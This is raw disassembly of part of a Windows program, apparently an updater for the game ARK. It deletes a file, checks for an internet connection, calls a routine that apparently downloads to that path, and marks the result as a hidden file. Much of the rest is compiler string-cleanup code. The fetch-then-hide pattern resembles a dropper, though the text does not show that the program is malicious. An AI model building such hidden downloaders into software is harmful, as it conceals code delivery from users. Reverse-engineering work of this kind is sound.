call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000afb2
call fcn.14004de58
jmp 0x14000afb4
xor eax, eax
mov rbx, rax
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rdi
mov r8, r13
mov rdx, r12
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r13], 0x5c
mov byte [rbx + rsi], 0
lea r9, [rbp - 0x80]
lea r8, [rsp + 0x40]
lea rcx, [rbp + 0x590]
call fcn.140049960
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14000b034
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b02e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b02e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000b072
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b06d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b06d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
lea rcx, [rbp + 0x590]
cmp qword [rbp + 0x5a8], 0xf
cmova rcx, qword [rbp + 0x590]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x14000b210
lea rcx, [rbp + 0x590]
cmp qword [rbp + 0x5a8], 0xf
cmova rcx, qword [rbp + 0x590]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14000b210
lea r9d, [rax + 0x10]
lea r8, str.Erreur
lea rdx, str.Failed_to_update_close_ark_game_and_try_again
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0xf
jbe 0x14000b119
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b114
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b2d7
call fcn.14004de50
movdqa xmm0, xmmword [0x14005ce60]
movdqu xmmword [rbp + 0x5a0], xmm0
mov byte [rbp + 0x590], 0
mov rdx, qword [rbp + 0x5c8]
cmp rdx, 0xf
jbe 0x14000b171
inc rdx
mov rcx, qword [rbp + 0x5b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b16c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b332
call fcn.14004de50
xor eax, eax
mov qword [rbp + 0x5c0], rax
mov qword [rbp + 0x5c8], 0xf
mov byte [rbp + 0x5b0], al
cmp r15, 0xf
jbe 0x14000b1c2
lea rdx, [r15 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14000b1ba
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b38f
mov rcx, r14
call fcn.14004de50
xor r15d, r15d
mov rdx, qword [rbp + 0x688]
cmp rdx, 0xf
jbe 0x14000b3bd
inc rdx
mov rcx, qword [rbp + 0x670]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b3b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b3b7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor edx, edx
lea rcx, [rbp + 0x5f0]
call qword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x14000b282
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, str.http:__www.google.com
call qword [sym.imp.WININET.dll_InternetCheckConnectionW]
test eax, eax
je 0x14000b282
lea rdx, [rbp + 0x590]
cmp qword [rbp + 0x5a8], 0xf
cmova rdx, qword [rbp + 0x590]
lea rcx, [rbp + 0x710]
call fcn.14000b710
lea rcx, [rbp + 0x590]
cmp qword [rbp + 0x5a8], 0xf
cmova rcx, qword [rbp + 0x590]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x14000b29f
mov r9d, 0x10
lea r8, str.Erreur
lea rdx, str.You_are_not_connected_to_the_Internet._Please_check_your_connection.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0xf
jbe 0x14000b2e3
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b2de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b2de
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
movdqa xmm0, xmmword [0x14005ce60]
movdqu xmmword [rbp + 0x5a0], xmm0
mov byte [rbp + 0x590], 0
mov rdx, qword [rbp + 0x5c8]
cmp rdx, 0xf
jbe 0x14000b33e
inc rdx
mov rcx, qword [rbp + 0x5b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b339
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b339
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
xor eax, eax
mov qword [rbp + 0x5c0], rax
mov qword [rbp + 0x5c8], 0xf
mov byte [rbp + 0x5b0], al
cmp r15, 0xf
jbe 0x14000b1c2
lea rdx, [r15 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14000b1ba
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b1ba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r9d, 0x10
lea r8, str.Erreur
lea rdx, str.Failed_APP_file_2
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x14000b1c5
call fcn.14004de50
nop
mov rdx, qword [rbp + 0x648]
cmp rdx, 7
jbe 0x14000b406
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x630]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b401
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b401
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
movdqa xmm0, xmmword [0x14005ce50]
movdqu xmmword [rbp + 0x640], xmm0
mov word [rbp + 0x630], r15w
lea rcx, [rbp + 0x5d0]
call fcn.140040990
nop
mov rdx, qword [rbp + 0x6c8]
cmp rdx, 7
jbe 0x14000b475
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x6b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b46f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b46f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
nop
mov rdx, qword [rbp + 0x708]
cmp rdx, 7
jbe 0x14000b4be
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x6f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b4b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b4b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
movdqa xmm0, xmmword [0x14005ce50]
movdqu xmmword [rbp + 0x700], xmm0
mov word [rbp + 0x6f0], r15w
mov rdx, qword [rbp + 0x788]
cmp rdx, 7
jbe 0x14000b520
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x770]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b51a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b51a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
nop
mov rdx, qword [rbp + 0x668]
cmp rdx, 0xf
jbe 0x14000b564
inc rdx
mov rcx, qword [rbp + 0x650]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b55f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b55f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
movdqa xmm0, xmmword [0x14005ce60]
movdqu xmmword [rbp + 0x660], xmm0
mov byte [rbp + 0x650], 0
mov rdx, qword [rbp + 0x7a8]
cmp rdx, 0xf
jbe 0x14000b5c0
inc rdx
mov rcx, qword [rbp + 0x790]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b5ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b5ba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
nop
mov rdx, qword [rbp + 0x6a8]
cmp rdx, 7
jbe 0x14000b609
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x690]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b604
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b604
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
movdqa xmm0, xmmword [0x14005ce50]
movdqu xmmword [rbp + 0x6a0], xmm0
mov word [rbp + 0x690], r15w
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x14000b660
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b65a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b65a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
nop
mov rcx, qword [rbp + 0x6d8]
test rcx, rcx
je 0x14000b6a7
mov rdx, qword [rbp + 0x6e8]
sub rdx, rcx
and rdx, 0xfffffffffffffff8
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b6a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b6a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
mov rcx, qword [rbp + 0xd40]
xor rcx, rsp
call fcn.14004de30
lea r11, [rsp + 0xe60]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140002030
nop
call fcn.140001f90
nop
call fcn.140001f90
nop
call fcn.140001f90
nop
call fcn.140002030
nop
call fcn.140002030
nop
call fcn.140002030
nop
call fcn.140002030
int3